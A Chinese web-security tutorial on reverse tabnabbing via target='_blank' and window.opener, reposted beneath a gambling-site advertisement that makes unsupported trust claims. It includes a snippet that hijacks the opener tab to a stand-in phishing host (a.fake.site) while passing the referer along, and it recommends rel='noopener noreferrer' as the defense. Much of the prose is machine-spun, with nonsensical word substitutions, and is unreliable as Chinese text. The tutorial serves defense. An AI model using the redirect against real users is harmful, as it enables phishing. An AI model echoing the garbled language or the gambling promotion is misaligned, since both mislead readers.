365bet亚洲版登录-bet官网365入口

365bet亚洲版登录拥有超过百间客房,bet官网365入口的文化历经几十年的传承和积淀形成的核心内容获得业界广泛的认可,365bet亚洲版登录是目前信誉最高的娱乐场所,同国内外几百家网上内容供应商建立了合作关系。

危险的 target=”_blank” 与 “opener”

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

初藳出处: 创宇前端   

图片 1

在网页中使用链接时,假使想要让浏览器自动在新的标签页展开钦定的地点,平日的做法正是在 a 标签上增多 target等于"_blank" 属性。

然则,正是以此性子,为钓鱼攻击者带给了时不笔者与。

起源

parentopener

在说 opener 从前,能够先聊聊 <iframe> 中的 parent

咱俩精通,在 <iframe> 中提供了叁个用于父子页面交互作用的目的,叫做 window.parent,大家得以经过 window.parent 对象来从框架中的页面访谈父级页面包车型客车 window

opener 与 parent 同样,只可是是用以 <a target="_blank"> 在新标签页打开的页面包车型大巴。通过 <a target="_blank"> 展开的页面,可以平素利用 window.opener 来访谈来源页面包车型大巴 window 对象。

同域与跨域

浏览器提供了完全的跨域爱抚,在域名相仿有的时候间,parent 对象和 opener 对象实际就径直是上一流的 window 对象;而当域名分裂期,parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供极度轻易的习性访谈,何况在此只有的几脾特性中,大多数也都以不相同意访谈的(访问会一贯抛出 DOMException)。

图片 2

在 <iframe> 中,提供了一个 sandbox 属性用于调节框架中的页面包车型大巴权位,由此尽管是同域,也能够决定 <iframe> 的安全性。

 

利用

借使,你的网址上有叁个链接,使用了 target="_blank",那么风华正茂旦客户点击那些链接并跻身多个新的价签,新标签中的页面即便存在恶意代码,就足以将您的网址一向导航到多少个冒牌网址。这个时候,假设客户回到你的标签页,见到的正是被沟通过的页面了。

详见步骤

  1. 在你的网址 https://example.com 上存在一个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 用户点击了那一个链接,在新的标签页展开了这些网址。这几个网址能够透过 HTTP Header 中的 Referer 属性来推断客户的来源。並且,那一个网址上带有着看似于那样的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?' + url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 那时,客户在后续浏览那么些新的标签页,而原先的网址所在的竹签页当时风姿洒脱度被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  2. 恶意网址 https://a.fake.site 依据 Query String 来伪造一个足以期骗顾客的页面,并出示出来(时期还足以做贰回跳转,使得浏览器的地址栏更具备吸引性)。
  3. 客户关闭 https://an.evil.site 的标签页,回到原先的网址………………已经回不去了。

下边包车型地铁攻击步骤是在跨域的情事下的,在跨域境况下,opener 对象和 parent 相像,是遭遇限定的,仅提供特别有限的习性访谈,而且在这里只有的多少个属性中,大多数也都以分化意访谈的(访谈会直接抛出 DOMException)。

但是与 parent 分歧的是,在跨域的情状下,opener 依旧能够调用 location.replace 方法parent 则不得以。

设纵然在同域的情景下(比方二个网站上的某二个页面被植入了恶意代码),则情状要比地点严重得多。

防御

``<iframe> 中有 sandbox 属性,而链接,则足以应用下边包车型地铁情势:

1. Referrer Policy 和 noreferrer

地方的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中增添 Referrer Policy 头来有限支持来源隐衷安全。

Referrer Policy 需求校勘后端代码来得以完成,而在前面一个,也得以行使 <a> 标签的 rel 属性来钦点 rel="noreferrer" 来保障来源隐秘安全。

<a href="" target="_blank" rel="noreferrer">步向三个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

可是要留神的是:固然约束了 referer 的传递,依然不可能阻止原标签被恶意跳转。

2. noopener

为了安全,今世浏览器都帮衬在 <a> 标签的 rel 属性中钦点 rel="noopener",那样,在张开的新标签页中,将不可能再接纳 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">进入贰个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopener 属性看似是解决了有着难题,可是…浏览器的宽容性难点…

图片 3

能够看来,未来超级多浏览器都已特别了 rel="noopener" 属性了。不过,为了珍爱稍旧的“近代”浏览器或是很旧的“南齐”浏览器照旧是“公元元年以前”浏览器,独有 noopener 属性依旧缺乏的。

那会儿,就必须要请出下边这段原生 JavaScript 来扶植了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

推荐

第生机勃勃,在网址中的链接上,假设接受了 target="_blank",就要带上 rel="noopener",何况建议带上 rel="noreferrer"。相仿于那样:

<a href="" target="_blank" rel="noopener noreferrer">步向二个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

理所当然,在跳转到第三方网址的时候,为了 SEO 权重,还提出带上 rel="nofollow",所以最后相符于如此:

<a href="" target="_blank" rel="noopener noreferrer nofollow">步向三个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

性能

末段,再来讲说质量难点。

比如网站使用了 <a target="_blank">,那么新开采的标签页的个性将会潜移暗化到日前页面。当时黄金时代旦新开荒的页面中实行了一个不行庞大的 JavaScript 脚本,那么原始标签页也会遭到震慑,会并发卡顿的意况(当然未必卡死)。

而朝气蓬勃旦在链接中插手了 noopener,则那个时候三个标签页将会互不忧愁,使得原页面包车型地铁属性不会遭逢新页面的影响。

1 赞 收藏 评论

图片 4

本文由365bet亚洲版登录发布于 Web前端,转载请注明出处:危险的 target=&#8221;_blank&#8221; 与 “opener”

您可能还会对下面的文章感兴趣: